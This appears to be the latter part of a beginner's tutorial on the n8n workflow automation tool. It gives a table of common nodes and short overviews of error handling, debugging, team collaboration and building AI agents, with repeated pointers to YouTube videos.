Useful Nodes in n8n
Node Type Description Example Use Webhook Node Triggers on incoming HTTP requests Receive form submissions HTTP Request Node Makes API calls Fetch data from external APIs Function Node Run custom JS logic Process or filter data Google Sheets Node Manage spreadsheet data Add new rows automatically Email Node Send notifications Send alerts or confirmations AI (OpenAI) Node Generate AI responses Build AI agents or assistants
Watch the YouTube video below from n8n channel to learn more
Error Handling
Automation often involves multiple moving parts — APIs, servers, and logic layers. n8n provides:
Error workflows: Automatically run when a workflow fails
Try/Catch nodes: Handle node-specific failures gracefully
Execution Logs: View detailed debugging info per run
Watch the YouTube video below from n8n channel to learn more
Debugging
The Execution view in n8n shows you:
Which node ran successfully
What data was passed between nodes
Any failed points or errors returned
You can replay failed executions or test workflows node-by-node before activating them.
Watch the YouTube video below from n8n channel to learn more
Collaboration in n8n
Teams can collaborate via:
Version Control (GitHub Integration)
Shared Credentials (with permissions)
Self-hosted dashboards for multi-user access
Environment variables for secure configuration
Watch the YouTube video below from n8n channel to learn more
Conclusion
n8n is more than an automation tool, it’s a gateway to building your own AI-powered workflows and intelligent digital systems. From data collection to AI response delivery, you can automate entire business processes — securely, privately, and at scale.
If you’re ready to start, install n8n locally, connect your favorite APIs, and build your first AI agent today!